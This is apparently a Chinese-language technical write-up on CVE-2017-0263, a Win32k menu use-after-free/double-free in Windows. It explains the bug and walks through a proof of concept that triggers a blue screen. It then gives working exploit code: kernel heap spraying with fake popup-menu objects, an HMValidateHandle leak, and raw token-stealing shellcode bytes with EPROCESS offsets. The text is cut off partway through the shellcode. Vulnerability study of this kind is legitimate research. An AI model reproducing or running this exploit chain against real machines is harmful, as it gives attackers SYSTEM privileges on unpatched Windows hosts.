0x00漏洞描述

The kernel-mode drivers in Microsoft Windows Server 2008 SP2 and R2 SP1, Windows 7 SP1, Windows 8.1, Windows Server 2012 Gold and R2, Windows RT 8.1, Windows 10 Gold, 1511, 1607, 1703, and Windows Server 2016 allow local users to gain privileges via a crafted application, aka “Win32k Elevation of Privilege Vulnerability.”
CVE-2017-0263是一个win32k的菜单管理组件中的一个UAF漏洞,据报道称该漏洞在之前与一个 EPS 漏洞被 APT28 组织组合攻击用来干涉法国大选。具体是函数win32k!xxxMNEndMenuState中释放全局菜单状态对象的成员域pGlobalPopupMenu指向的根弹出菜单对象时没有将该成员域置零,导致该成员仍然指向已被释放的内存区域。

0x01分析环境

  1. [+] win7 x86 sp1
  2. [+] windbg preview

image.png

0x02 漏洞原理

关于菜单管理

菜单管理是win32k中最复杂的组件,整体依赖多种复杂的函数和结构体,比如:

  • 创建弹出菜单时应用程序调用TrackPopupMenuEx在菜单内容显示的位置创建菜单类的窗口。
  • 处理消息输入通过一个系统定义的菜单窗口类过程xxxMenuWindowProc用以处理各种菜单特有的信息。
  • 追踪菜单如何使用菜单状态结构体tagMENUSTATE与当前活跃菜单关联起来。通过这种方式,函数能够知道菜单是否在拖拽操作中调用、是否在菜单循环中、是否即将销毁,等等。

    菜单对象

    菜单对象—-结构体tagMENU:
    用来描述菜单实体的菜单项、项数、大小等静态信息,但其本身并不负责菜单在屏幕中的显示,当用户进程调用CreateMenu等接口函数时系统在内核中创建菜单对象,当调用函数DestroyMenu或进程结束时菜单对象被销毁。
    菜单窗口对象—-结构体tagMENUWND:
    当需要在屏幕中的位置显示某菜单时,例如,用户在某窗口区域点击鼠标右键,在内核中系统将调用相关服务函数根据目标菜单对象创建对应的类型为MENUCLASS的菜单窗口对象。菜单窗口对象是窗口结构体tagWND对象的特殊类型,通常以结构体tagMENUWND的形式表示,负责描述菜单在屏幕中的显示位置、样式等动态信息,其扩展区域关联对应的弹出菜单对象。
    弹出菜单对象—-结构体tagPOPUPMENU:
    弹出菜单对象tagPOPUPMENU作为菜单窗口对象的扩展对象,用来描述所代表的菜单的弹出状态,以及与菜单窗口对象、菜单对象、子菜单或父级菜单的菜单窗口对象等用户对象相互关联。
    当某个菜单在屏幕中弹出时,菜单窗口对象和关联的弹出菜单对象被创建,当菜单被选择或取消时,该菜单将不再需要在屏幕中显示,此时系统将在适当时机销毁菜单窗口对象和弹出菜单对象。

    弹出菜单

    在user32.dll模块中存在导出函数TrackPopupMenuEx用于在屏幕指定位置显示弹出菜单并追踪选择的菜单项。当用户进程调用该函数时,系统在内核中最终调用到xxxTrackPopupMenuEx函数处理弹出菜单操作。
    内核函数xxxTrackPopupMenuEx负责菜单的弹出和追踪。
    在该函数执行期间,系统调用xxxCreateWindowEx函数为即将被显示的菜单对象创建关联的类名称为#32768(MENUCLASS) 的菜单窗口对象。函数xxxCreateWindowEx中分配窗口对象后,函数向该对象发送WM_NCCREATE等事件消息,并调用窗口对象指定的消息处理程序(xxxMenuWindowProc内核函数)。处理WM_NCCREATE消息时,函数创建并初始化与窗口对象关联的弹出菜单信息结构体tagPOPUPMENU对象,将菜单窗口tagMENUWND对象指针放入tagPOPUPMENU->spwndPopupMenu成员域中,并将弹出菜单tagPOPUPMENU对象指针放入关联窗口tagMENUWND对象末尾的指针长度的扩展区域中。
    在通过函数xxxSendMessageTimeout向窗口对象发送WM_NCCREATE等事件消息时,系统在调用对象指定的消息处理程序之前,还会调用xxxCallHook函数用来调用先前由用户进程设定的WH_CALLWNDPROC类型的挂钩处理程序。设置这种类型的挂钩会在每次线程将消息发送给窗口对象之前调用。
    接下来函数xxxTrackPopupMenuEx调用xxxMNAllocMenuState来初始化菜单状态结构体的各个成员域,并将前面创建的弹出菜单tagPOPUPMENU对象作为当前的根弹出菜单对象,其指针被放置在菜单状态结构体的成员域pGlobalPopupMenu中。
    接下来函数调用xxxSetWindowPos函数以设置目标菜单窗口在屏幕中的位置并将其显示在屏幕中。在函数xxxSetWindowPos执行期间,相关窗口位置和状态已完成改变之后,系统在函数xxxEndDeferWindowPosEx中调用xxxSendChangedMsgs以发送窗口位置已改变的消息。
    image.png

    阴影窗口

    在 Windows XP 及更高系统的win32k内核模块中,系统为所有带有CS_DROPSHADOW标志的窗口对象创建并关联对应的类名称为SysShadow的阴影窗口对象,用来渲染原窗口的阴影效果。内核中存在全局表win32k!gpshadowFirst用以记录所有阴影窗口对象与原窗口对象的关联关系。函数xxxAddShadow用来为指定的窗口创建阴影窗口对象,并将对应关系写入gpshadowFirst全局表中。
    全局表gpshadowFirst以链表的形式保存阴影窗口的对应关系。链表的每个节点存储 3 个指针长度的成员域,分别存储原窗口和阴影窗口的对象指针,以及下一个链表节点的指针。每个新添加的关系节点将始终位于链表的首个节点位置,其地址被保存在gpshadowFirst全局变量中。
    相应地,当阴影窗口不再需要时,系统调用xxxRemoveShadow来将指定窗口的阴影窗口关联关系移除并销毁该阴影窗口对象,函数根据通过参数传入的原窗口对象的指针在链表中查找第一个匹配的链表节点,从链表中取出节点并释放节点内存缓冲区、销毁阴影窗口对象。

    终止菜单

    使用xxxMNEndMenuState函数终止菜单 可通过多种途径到达

    1. -->xxxMenuWindowProc//接收MN_ENDMENU(0x1F3) 消息值开始销毁
    2. -->xxxEndMenuLoop//隐藏菜单的显示和销毁预处理
    3. -->xxxMNDismiss
    4. -->xxxMNCancel执行菜单取消
    5. -->xxxMNCloseHierarchy
    6. -->xxxDestroyWindow//销毁菜单(xxxSetWindowPos隐藏目标菜单窗口-->xxxSendChangedMsgs 发送窗口位置已改变的消息-->调用函数 xxxRemoveShadow移除阴影窗口对象)
    7. -->xxxFreeWindow //执行对目标窗口对象的后续销毁操作(执行完下面四步后再次执行xxxRemoveShadow函数移除阴影窗口对象的关联)
    8. -->xxxWrapMenuWindowProc//消息处理
    9. -->xxxMenuWindowProc//接收消息调用下一步函数
    10. -->xxxMNDestroyHandler//清理相关数据

    在执行完这一切后 由于锁计数尚未归零 因此目标窗口对象仍旧存在于内核中并等待后续的操作

    1. -->xxxDestroyWindow执行返回后回到下面
    2. -->xxxMNCloseHierarchy//对成员域进程置空
    3. -->xxxMNCancel//继续返回到此处-->-->xxxDestroyWindow//销毁当前菜单对象
    4. -->xxxTrackPopupMenuEx返回到此处对关联的弹出窗口置位
    5. -->xxxMenuWindowProc返回到此处调用-->xxxMNEndMenuState清理非模态类型的菜单状态信息并释放相关对象

    image.png

    xxxMNEndMenuState

    在函数xxxMNEndMenuState执行时,系统调用函数MNFreePopup来释放由当前菜单状态tagMENUSTATE对象的成员域pGlobalPopupMenu指向的根弹出菜单对象。
    在函数MNFreePopup的末尾,由于已完成对各个成员域的解锁和释放,系统调用函数ExFreePoolWithTag释放目标弹出菜单tagPOPUPMENU对象
    通过分析代码可知,函数xxxMNEndMenuState在调用函数MNFreePopup释放弹出菜单信息结构体的各个成员域之后,会将当前菜单状态对象的成员域pmnsPrev存储的前菜单状态对象指针赋值给当前线程信息结构体对象的成员域pMenuState指针,而通常情况下pmnsPrev的值为0。
    然而在菜单弹出期间,系统在各个追踪弹出菜单的函数或系统服务中都是通过线程信息对象的成员域pMenuState指针来获取菜单状态的,如果该成员域被赋值为其他值,就将导致触发漏洞的途径中某个节点直接失败而返回,造成漏洞利用失败。因此想要重新使线程执行流触达xxxMNEndMenuState函数中释放当前tagPOPUPMENU对象的位置以实现对目标漏洞的触发,则必须在系统重置线程信息对象的成员域pMenuState之前的时机进行
    在函数释放成员域pGlobalPopupMenu指向的根弹出菜单对象和重置线程信息对象的成员域pMenuState之间,只有两个函数调用:

    1. UnlockMFMWFPWindow(&menuState->uButtonDownHitArea);//uButtonDownHitArea存储鼠标点击坐标为u与窗口对象指针
    2. UnlockMFMWFPWindow(&menuState->uDraggingHitArea); //uDraggingHitArea存储鼠标拖拽左边位于窗口对象指针

    聚焦uButtonDownHitArea成员域,该成员域存储当前鼠标按下的坐标区域所属的窗口对象地址,当鼠标按键抬起时系统解锁并置零该成员域。因此,需要在系统处理鼠标按下消息期间,用户进程发起菜单终止的操作,以使执行流进入函数xxxMNEndMenuState并执行到解锁成员域uButtonDownHitArea的位置时,该成员域中存储合法的窗口对象的地址。
    系统在销毁该窗口对象期间,会同时销毁与该窗口对象关联的阴影窗口对象。阴影窗口对象不带有专门的窗口消息处理函数,因此可以在用户进程中将窗口对象的消息处理函数成员域篡改为由用户进程自定义的消息处理函数,在自定义函数中,再次触发菜单终止的任务,致使漏洞成功触发。

    0x03 BSOD分析

    将poc放入虚拟机之后运行,windbg断下来之后我们用!analyze -v查看
    image.png
    可以看到这块内存被释放了两次
    image.png
    看一下调用关系,nt!ExFreePoolWithTag函数释放了一块已经释放过的内存,往上追溯看一下它的调用者win32k!xxxMNEndMenuState,该函数用来清理菜单状态结构体,其中就包括调用win32k!MNFreePopup函数来释放弹出菜单对象和窗口对象。
    看一下win32k!xxxMNEndMenuState的关键代码:

    1. void xxxMNEndMenuState (BOOL fFreePopup)
    2. {
    3. PTHREADINFO ptiCurrent = PtiCurrent();
    4. PMENUSTATE pMenuState;
    5. pMenuState = ptiCurrent->pMenuState;
    6. if (pMenuState->pGlobalPopupMenu != NULL) {
    7. if (fFreePopup) {
    8. MNFreePopup(pMenuState->pGlobalPopupMenu);
    9. } else {
    10. pMenuState->pGlobalPopupMenu->fDelayedFree = FALSE;
    11. }
    12. }
    13. UnlockMFMWFPWindow(&pMenuState->uButtonDownHitArea);
    14. UnlockMFMWFPWindow(&pMenuState->uDraggingHitArea);
    15. ptiCurrent->pMenuState = pMenuState->pmnsPrev;
    16. }

    函数首先从当前线程信息tagTHREADINFO中获得pMenuState成员域指向的菜单状态结构体对象,接着判断pMenuState的pGlobalPopupMenu成员是否为空,不为空的话将其传递给MNFreePopup函数进行释放,pGlobalPopupMenu成员指向弹出菜单结构体tagPOPMENU对象。但就在重置pMenuState之前,函数会对pMenuState->uButtonDownHitArea和pMenuState->uDraggingHitArea解锁和释放,如果我们可以构造特殊的菜单窗口对象,就可以让执行流回到用户进程中,在利用代码中我们可以为所欲为,我们可以对尚存的悬挂指针pGlobalPopupMenu成员再次进行释放,就可以导致BSOD的发生了。

    0x04 POC分析

    创建菜单

    1. LPCSTR szMenuItem = "item";
    2. MENUINFO mi = { 0 };
    3. mi.cbSize = sizeof(mi);
    4. // MIM_STYLE 表明要设置 dwStyle 这个标志位
    5. mi.fMask = MIM_STYLE;
    6. // autodismiss 鼠标移到菜单窗口外面一会儿窗口会自动消失
    7. // modeless 非模态
    8. // dragdrop 拖放窗口
    9. mi.dwStyle = MNS_AUTODISMISS | MNS_MODELESS | MNS_DRAGDROP;
    10. HMENU hpopupMenu[2] = { 0 };
    11. // 用 CreatePopupMenu 创建的菜单是空的,后面用 AppendMenu 来添加 items
    12. hpopupMenu[0] = CreatePopupMenu();
    13. hpopupMenu[1] = CreatePopupMenu();
    14. SetMenuInfo(hpopupMenu[0], &mi);
    15. SetMenuInfo(hpopupMenu[1], &mi);
    16. AppendMenuA(hpopupMenu[0], MF_BYPOSITION | MF_POPUP, (UINT_PTR)hpopupMenu[1], szMenuItem);
    17. AppendMenuA(hpopupMenu[1], MF_BYPOSITION | MF_POPUP, 0, szMenuItem);

    调用CreatePopupMenu函数创建两个非模态的可弹出菜单对象,继续调用AppendMenuA函数添加菜单项,并且使得第二个菜单成为第一个菜单的子菜单。

    设置Hook

    1. SetWindowsHookExW(WH_CALLWNDPROC, xxWindowHookProc, GetModuleHandleA(NULL), GetCurrentThreadId());
    2. SetWinEventHook(EVENT_SYSTEM_MENUPOPUPSTART, EVENT_SYSTEM_MENUPOPUPSTART,GetModuleHandleA(NULL),xxWindowEventProc, GetCurrentProcessId(), GetCurrentThreadId(), 0);

    调用SetWindowsHookExW函数创建类型为WH_CALLWNDPROC关联当前线程的hook程序,这是因为在xxxTrackPopupMenuEx函数中,系统在调用对象指定的消息处理程序之前,还会调用 xxxCallHook 函数用来调用先前由用户进程设定的 WH_CALLWNDPROC 类型的挂钩处理程序,所以如果我们设置这种类型的挂钩会在每次线程将消息发送给窗口对象之前调用。接着通过SetWinEventHook函数创建关联当前进程和线程的事件通知消息处理程序。

    第一次释放

    1. TrackPopupMenuEx(hpopupMenu[0], 0, 0, 0, hWindowMain, NULL);

    调用TrackPopupMenuEx函数将我们创建的第一个可弹出菜单对象作为跟菜单在对象中弹出。调用TrackPopupMenuEx函数会调用win32k!xxxTrackPopupMenuEx函数,首先通过xxxCreateWindowEx函数为弹出菜单对象创建了一个类型为#32768的窗口对象,如果创建成功的话就会发送WM_NCCREATE消息。在处理消息之前,会调用我们刚刚设置的WH_CALLWNDPROC 类型的挂钩处理程序,即xxWindowHookProc函数。

    1. // 弹出窗口和阴影窗口创建时都会调用到这个函数
    2. LRESULT CALLBACK
    3. xxWindowHookProc(INT code, WPARAM wParam, LPARAM lParam)
    4. {
    5. tagCWPSTRUCT* cwp = (tagCWPSTRUCT*)lParam;
    6. if (cwp->message != WM_NCCREATE)
    7. {
    8. return CallNextHookEx(0, code, wParam, lParam);
    9. }
    10. WCHAR szTemp[0x20] = { 0 };
    11. GetClassNameW(cwp->hwnd, szTemp, 0x14);
    12. if (!wcscmp(szTemp, L"#32768"))
    13. {
    14. hwndMenuHit = cwp->hwnd;
    15. }//接下面

    首先判断当前处理的消息是否为WM_NCCREATE消息,不是的话就直接返回。接着再判断类名称是否为#32768,是的话表示这就是TrackPopupMenuEx函数创建的菜单窗口对象,将其句柄保存起来。

    1. static UINT iMenuCreated = 0;
    2. VOID CALLBACK
    3. xxWindowEventProc(
    4. HWINEVENTHOOK hWinEventHook,
    5. DWORD event,
    6. HWND hwnd,
    7. LONG idObject,
    8. LONG idChild,
    9. DWORD idEventThread,
    10. DWORD dwmsEventTime
    11. )
    12. {
    13. if (++iMenuCreated >= 2)
    14. {
    15. // 向子菜单发送 MN_ENDMENU 以关闭整个菜单
    16. SendMessageW(hwnd, MN_ENDMENU, 0, 0);
    17. }
    18. else
    19. {
    20. SendMessageW(hwnd, WM_LBUTTONDOWN, 1, 0x00020002); // (2,2)
    21. }
    22. }VOID CALLBACK
    23. xxWindowEventProc(
    24. HWINEVENTHOOK hWinEventHook,
    25. DWORD event,
    26. HWND hwnd,
    27. LONG idObject,
    28. LONG idChild,
    29. DWORD idEventThread,
    30. DWORD dwmsEventTime
    31. )
    32. {
    33. if (++iMenuCreated >= 2)
    34. {
    35. // 向子菜单发送 MN_ENDMENU 以关闭整个菜单
    36. SendMessageW(hwnd, MN_ENDMENU, 0, 0);
    37. }
    38. else
    39. {
    40. // 在 32 位系统中,参数 lParam 是一个 DWORD 类型的数值,其高低 16 位分别代表横坐标和纵坐标的相对位置,传入的数值需要确保相对坐标位于先前创建菜单时设定的子菜单项的位置。参数 wParam 设定用户按下的是左键还是右键,设置为 1 表示 MK_LBUTTON 左键。
    41. SendMessageW(hwnd, WM_LBUTTONDOWN, 1, 0x00020002); // (2,2)
    42. }
    43. }

    在内核函数xxxTrackPopupMenuEx中处理完成对根弹出菜单窗口对象的创建时,系统调用xxxWindowEvent函数以发送代表“菜单弹出开始”的 EVENT_SYSTEM_MENUPOPUPSTART 事件通知。这将进入我们先前设置的自定义事件通知处理函数xxWindowEventProc中。每当进入该事件通知处理程序时,代表当前新的弹出菜单已显示在屏幕中。iMenuCreated用来计数,第一次进入xxWindowEventProc函数的时候,表示根弹出菜单已经在屏幕中显示,直接调用SendMessage函数向参数句柄hwnd指向的菜单窗口对象发送WM_LBUTTONDOWN鼠标左键按下的消息,并在参数lParam传入按下的相对坐标。当消息处理函数xxxMenuWindowProc接收到该消息时,会调用xxxMNOpenHierarchy函数创建新的子菜单的相关对象,在这里完成新的子菜单在屏幕中的显示时,函数xxxMNOpenHierarchy调用函数xxxWindowEvent发送 EVENT_SYSTEM_MENUPOPUPSTART 事件通知。这使得执行流再次进入自定义事件通知处理函数xxWindowEventProc中。第二次进入此函数时,表示弹出的子菜单已经显示了,此时发送MN_ENDMENU消息来销毁窗口,导致执行xxxEndMenuState函数,从而执行第一次释放,即MNFreePopup(pMenuState->pGlobalPopupMenu)。至于为什么要设置WM_LBUTTONDOWN,是因为我们接下来要利用uButtonDownHitArea成员域,该成员域存储着当前鼠标按下的区域所属的窗口对象地址,当鼠标按键抬起时系统解锁并置零该成员域。因此,为了让他存储合法的窗口对象的地址,我们需要发送WM_LBUTTONDOWN鼠标左键按下的消息。

    第二次释放

    第二次释放是利用了阴影窗口的机制,在释放uButtonDownHitArea会同时消除与该对象关联的阴影窗口对象,因为他并没有属于自己的窗口消息处理函数,所以我们如果将窗口对象的消息处理函数修改为我们自定义的消息处理函数,就可以再一次的取得控制权。但是目前为止我们只完成了第一次释放,在释放uButtonDownHitArea的时候并不能达成我们的目的,因为我们还没有构建阴影窗口和hook消息处理函数,这两个步骤都需要我们在xxWindowHookProc函数中进行操作:

    1. //接上面
    2. if (!wcscmp(szTemp, L"SysShadow") && hwndMenuHit != NULL)
    3. {
    4. iShadowCount++;
    5. if (iShadowCount == 3)
    6. {
    7. // cwp -> hwnd : 第三个阴影窗口
    8. // GWL_WNDPROC : 设置一个新的消息处理函数
    9. SetWindowLongW(cwp->hwnd, GWL_WNDPROC, (LONG)xxShadowWindowProc);
    10. }
    11. else
    12. {
    13. // 对刚刚保存的窗口句柄先隐藏再关闭就可以再次创建阴影窗口
    14. SetWindowPos(hwndMenuHit, NULL, 0, 0, 0, 0, SWP_NOSIZE | SWP_NOMOVE | SWP_NOZORDER | SWP_HIDEWINDOW);
    15. SetWindowPos(hwndMenuHit, NULL, 0, 0, 0, 0, SWP_NOSIZE | SWP_NOMOVE | SWP_NOZORDER | SWP_SHOWWINDOW);
    16. }
    17. }
    18. return CallNextHookEx(0, code, wParam, lParam);
    19. }

    前面对xxxMNEndMenuState函数的分析中已经说过了,在目标菜单窗口对象创建完成并成功显示时,系统为该窗口对象创建关联的类型为SysShadow的阴影窗口对象。同样地,创建阴影窗口对象并发送 WM_NCCREATE 消息时,系统也会调用xxxCallHook函数来分发调用挂钩程序,所以我们可以在xxWindowHookProc函数中进行对阴影窗口消息处理函数的hook。至于为什么要像代码中设置三个阴影窗口,消息处理函数xxxMenuWindowProc接收到MN_ENDMENU消息及菜单对象是非模态时,会在xxxMNEndMenuState函数被调用之前调用xxxEndMenuLoop函数,该函数最终会调用xxxDestroyWindow函数和xxxFreeWindow函数销毁弹出的子菜单的窗口对象,这两个函数都会调用xxxRemoveShadow函数来释放阴影窗口对象,如果只有一个阴影窗口的话,应该是第一次释放成功,第二次发现存储阴影窗口的链表中无法查到有效节点而返回。也就是说,在我们进行第一次释放的时候,我们的窗口关联的阴影对象链表中的节点已经被释放了两次,又因为我们要马不停蹄的进行下一次释放来调用我们自己设置的消息处理程序,所以我们必须要早早设置三个阴影窗口对象,并且将第三个阴影窗口的消息处理程序hook掉,这样就能在第一次释放之后处理uButtonDownHitArea时再次获得控制权。

    1. LRESULT WINAPI
    2. xxShadowWindowProc(
    3. _In_ HWND hwnd,
    4. _In_ UINT msg,
    5. _In_ WPARAM wParam,
    6. _In_ LPARAM lParam
    7. )
    8. {
    9. if (msg == WM_NCDESTROY)
    10. {
    11. xxSyscall(num_NtUserMNDragLeave, 0, 0);
    12. }
    13. return DefWindowProcW(hwnd, msg, wParam, lParam);
    14. }

    判断传入的消息是否为WM_NCDESTROY,如果是的话就调用NtUserMNDragLeave函数,该函数同样可以调用xxxMNEndMenuState函数:

    1. BOOL xxxUnlockMenuState (PMENUSTATE pMenuState)
    2. {
    3. UserAssert(pMenuState->dwLockCount != 0);
    4. (pMenuState->dwLockCount)--;
    5. if ((pMenuState->dwLockCount == 0) && ExitMenuLoop(pMenuState, pMenuState->pGlobalPopupMenu)) {
    6. xxxMNEndMenuState(TRUE);
    7. return TRUE;
    8. }
    9. return FALSE;
    10. }

    继续调用xxxMNEndMenuState函数就意味着会再次执行MNFreePopup(pMenuState->pGlobalPopupMenu);,上一个xxxMNEndMenuState函数中pGlobalPopMenu刚刚被释放过,现在再释放一次,自然造成了Double Free。
    image.png

    1. 总结一下流程:
    2. -->创建两个弹出菜单 第二个为第一个的子菜单
    3. -->调用xxxCreateWindowExW创建窗口对象作为窗口对象的拥有者
    4. -->开始Hook 对于前两次进入的函数调用函数SetWindowPos触发创建新的阴影窗口关联的逻辑 第三次调用SetWindowLong将目标阴影窗口对象的消息处理函数篡改为自定义的阴影窗口消息处理函数
    5. -->第一次正常调用发送菜单窗口对象发送WM_LBUTTONDOWN鼠标左键按下的消息显示子菜单 第二次发送MN_ENDMENU消息关闭菜单
    6. -->调用xxxMNEndMenuSate销毁菜单信息释放tagPOPUPMENU内存对象
    7. -->将根菜单的根技术变为0 销毁菜单对象 会调用xxxRemoveShadow消除阴影窗口对象 然后就来到我们自定义的阴影窗口消息处理函数
    8. -->再次调用xxxMNEndMenuState来二次释放tagPOPMENU内存区域

    0x05 EXP分析

    ```c typedef struct _SHELLCODE { DWORD reserved; DWORD pid; DWORD off_CLS_lpszMenuName; DWORD off_THREADINFO_ppi; DWORD off_EPROCESS_ActiveLink; DWORD off_EPROCESS_Token; PVOID tagCLS[0x100]; BYTE pfnWindProc[]; } SHELLCODE, * PSHELLCODE;

static PSHELLCODE pvShellCode = NULL;

  1. pvShellCode = (PSHELLCODE)VirtualAlloc(NULL, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
  2. if (pvShellCode == NULL)
  3. {
  4. return 0;
  5. }
  6. ZeroMemory(pvShellCode, 0x1000);
  7. pvShellCode->pid = GetCurrentProcessId();
  8. pvShellCode->off_CLS_lpszMenuName = 0x050;
  9. pvShellCode->off_THREADINFO_ppi = 0x0b8;
  10. pvShellCode->off_EPROCESS_ActiveLink = 0x0b8;
  11. pvShellCode->off_EPROCESS_Token = 0x0f8;
  12. CopyMemory(pvShellCode->pfnWindProc, xxPayloadWindProc, sizeof(xxPayloadWindProc));
  1. 首先在用户进程中分配完整内存页的RWX内存块,并初始化相关成员域,将 ShellCode 函数代码拷贝到从成员域 pfnWindProc 起始的内存地址。<br />成员域pfnWindProc起始的内存区域将最终作为实际 ShellCode 函数代码在内核上下文执行。
  2. ```c
  3. DWORD dwPopupFake[0xD] = { 0 };
  4. dwPopupFake[0x0] = (DWORD)0x00098208; //->flags
  5. dwPopupFake[0x1] = (DWORD)pvHeadFake; //->spwndNotify
  6. dwPopupFake[0x2] = (DWORD)pvHeadFake; //->spwndPopupMenu
  7. dwPopupFake[0x3] = (DWORD)pvHeadFake; //->spwndNextPopup
  8. dwPopupFake[0x4] = (DWORD)pvAddrFlags - 4; //->spwndPrevPopup
  9. dwPopupFake[0x5] = (DWORD)pvHeadFake; //->spmenu
  10. dwPopupFake[0x6] = (DWORD)pvHeadFake; //->spmenuAlternate
  11. dwPopupFake[0x7] = (DWORD)pvHeadFake; //->spwndActivePopup
  12. dwPopupFake[0x8] = (DWORD)0xFFFFFFFF; //->ppopupmenuRoot
  13. dwPopupFake[0x9] = (DWORD)pvHeadFake; //->ppmDelayedFree
  14. dwPopupFake[0xA] = (DWORD)0xFFFFFFFF; //->posSelectedItem
  15. dwPopupFake[0xB] = (DWORD)pvHeadFake; //->posDropped
  16. dwPopupFake[0xC] = (DWORD)0;
  17. for (UINT i = 0; i < iWindowCount; ++i)
  18. {
  19. SetClassLongW(hWindowList[i], GCL_MENUNAME, (LONG)dwPopupFake);
  20. }
  21. xxNtUserMNDragLeave();

这一部分伪造根弹出菜单对象,进行第一次释放之后,程序会进入我们预期的xxxShadowWindowProc,我们可以通过SetClassLongW函数在这里对大量窗口设置MENUNAME字段,内核会为窗口类tagCLS对象的成员域IpsMenuName分配并设置UNICODE缓冲区。因为IpsMenuName和弹出菜单ragPOPUPMENU对象的缓冲区都是进程配额的内存块,大小相同,所以可以用来占位刚刚释放的内存,伪造根弹出菜单对象,使系统认为弹出对象并没有被释放,而是正常的存在于内核中。至于这里的大量窗口是哪来的,需要我们在程序调用TrackPopupmenuEx函数之前调用CreateWindowEx函数创建大量窗口并注册单独的窗口类。

  1. for (INT i = 0; i < 0x100; i++)
  2. {
  3. WNDCLASSEXW Class = { 0 };
  4. WCHAR szTemp[20] = { 0 };
  5. HWND hwnd = NULL;
  6. wsprintfW(szTemp, L"%x-%d", rand(), i);
  7. Class.cbSize = sizeof(WNDCLASSEXA);
  8. Class.lpfnWndProc = DefWindowProcW;
  9. Class.cbWndExtra = 0;
  10. Class.hInstance = GetModuleHandleA(NULL);
  11. Class.lpszMenuName = NULL;
  12. Class.lpszClassName = szTemp;
  13. if (!RegisterClassExW(&Class))
  14. {
  15. continue;
  16. }
  17. hwnd = CreateWindowExW(0, szTemp, NULL, WS_OVERLAPPED,
  18. 0,
  19. 0,
  20. 0,
  21. 0,
  22. NULL,
  23. NULL,
  24. GetModuleHandleA(NULL),
  25. NULL);
  26. if (hwnd == NULL)
  27. {
  28. continue;
  29. }
  30. hWindowList[iWindowCount++] = hwnd;
  31. }

弹出对象已经伪造成功了,但如果xxxMNEndMenuState函数对成员域进行解锁的话还是会报错,因为我们还没有对成员域进行构造,我们需要让他们指向有效的内存空间,这样才能正确运行。

  1. xxRegisterWindowClassW(L"WNDCLASSHUNT", 0x200);
  2. hWindowHunt = xxCreateWindowExW(L"WNDCLASSHUNT",WS_EX_LEFT,WS_OVERLAPPED);

载体窗口对象 hWindowHunt 具有 0x200 字节大小的扩展区域,扩展区域紧随基础的 tagWND 对象其后,在利用代码中将用来伪造各种相关的内核用户对象,以使系统重新执行xxxMNEndMenuState函数期间,执行流能正常稳定地执行。

  1. static
  2. VOID
  3. xxGetHMValidateHandle(VOID)
  4. {
  5. HMODULE hModule = LoadLibraryA("USER32.DLL");
  6. PBYTE pfnIsMenu = (PBYTE)GetProcAddress(hModule, "IsMenu");
  7. PBYTE Address = NULL;
  8. for (INT i = 0; i < 0x30; i++)
  9. {
  10. if (*(WORD*)(i + pfnIsMenu) != 0x02B2)
  11. {
  12. continue;
  13. }
  14. i += 2;
  15. if (*(BYTE*)(i + pfnIsMenu) != 0xE8)
  16. {
  17. continue;
  18. }
  19. Address = *(DWORD*)(i + pfnIsMenu + 1) + pfnIsMenu;
  20. Address = Address + i + 5;
  21. pfnHMValidateHandle = (PVOID(__fastcall*)(HANDLE, BYTE))Address;
  22. break;
  23. }
  24. }

通过硬编码匹配的方式,从 user32 模块的导出函数 IsMenu 中查找并计算函数HMValidateHandle的地址,这个未导出的函数接收用户句柄和对象类型作为参数,在内部对参数进行验证,验证通过时则返回目标对象在当前进程桌面堆中映射的地址。
Shellcode:
第二次释放的根弹出菜单对象实际上是批量创建的普通窗口对象中某个窗口对象所属窗口类 tagCLS 对象的成员域 lpszMenuName 指向的缓冲区。这将导致在进程退出时销毁用户对象期间,系统在内核中释放目标窗口类对象成员域 lpszMenuName 时引发重复释放的异常。

  1. static constexpr UINT num_offset_WND_pcls = 0x64;
  2. for (INT i = 0; i < iWindowCount; i++)
  3. {
  4. pvShellCode->tagCLS[i] = *(PVOID *)((PBYTE)xxHMValidateHandle(hWindowList[i]) + num_offset_WND_pcls);
  5. }

我们需要在 ShellCode 代码中将目标窗口类对象的成员域 lpszMenuName 置空。我们需要在批量创建窗口的时候将每一个窗口的成员域pcls指向地址保存起来。

  1. VOID CALLBACK
  2. xxWindowEventProc(
  3. HWINEVENTHOOK hWinEventHook,
  4. DWORD event,
  5. HWND hwnd,
  6. LONG idObject,
  7. LONG idChild,
  8. DWORD idEventThread,
  9. DWORD dwmsEventTime
  10. )
  11. {
  12. if (iMenuCreated == 0)
  13. {
  14. popupMenuRoot = *(DWORD *)((PBYTE)xxHMValidateHandle(hwnd) + 0xb0);
  15. }
  16. if (++iMenuCreated >= 2)
  17. {
  18. SendMessageW(hwnd, MN_ENDMENU, 0, 0);
  19. }
  20. else
  21. {
  22. SendMessageW(hwnd, WM_LBUTTONDOWN, 1, 0x00020002);
  23. }
  24. }

构造PayLoad:

  1. // Loader+0x108a:
  2. // Judge if the `msg` is 0x9f9f value.
  3. 0x55, // push ebp
  4. 0x8b, 0xec, // mov ebp,esp
  5. 0x8b, 0x45, 0x0c, // mov eax,dword ptr [ebp+0Ch]
  6. 0x3d, 0x9f, 0x9f, 0x00, 0x00, // cmp eax,9F9Fh
  7. 0x0f, 0x85, 0x8d, 0x00, 0x00, 0x00, // jne Loader+0x1128
  8. // Loader+0x109b:
  9. // Judge if CS is 0x1b, which means in user-mode context.
  10. 0x66, 0x8c, 0xc8, // mov ax,cs
  11. 0x66, 0x83, 0xf8, 0x1b, // cmp ax,1Bh
  12. 0x0f, 0x84, 0x80, 0x00, 0x00, 0x00, // je Loader+0x1128
  13. // Loader+0x10a8:
  14. // Get the address of pwndWindowHunt to ECX.
  15. // Recover the flags of pwndWindowHunt: zero bServerSideWindowProc.
  16. // Get the address of pvShellCode to EDX by CALL-POP.
  17. // Get the address of pvShellCode->tagCLS[0x100] to ESI.
  18. // Get the address of popupMenuRoot to EDI.
  19. 0xfc, // cld
  20. 0x8b, 0x4d, 0x08, // mov ecx,dword ptr [ebp+8]
  21. 0xff, 0x41, 0x16, // inc dword ptr [ecx+16h]
  22. 0x60, // pushad
  23. 0xe8, 0x00, 0x00, 0x00, 0x00, // call $5
  24. 0x5a, // pop edx
  25. 0x81, 0xea, 0x43, 0x04, 0x00, 0x00, // sub edx,443h
  26. 0xbb, 0x00, 0x01, 0x00, 0x00, // mov ebx,100h
  27. 0x8d, 0x72, 0x18, // lea esi,[edx+18h]
  28. 0x8b, 0x7d, 0x10, // mov edi,dword ptr [ebp+10h]
  29. // Loader+0x10c7:
  30. 0x85, 0xdb, // test ebx,ebx
  31. 0x74, 0x13, // je Loader+0x10de
  32. // Loader+0x10cb:
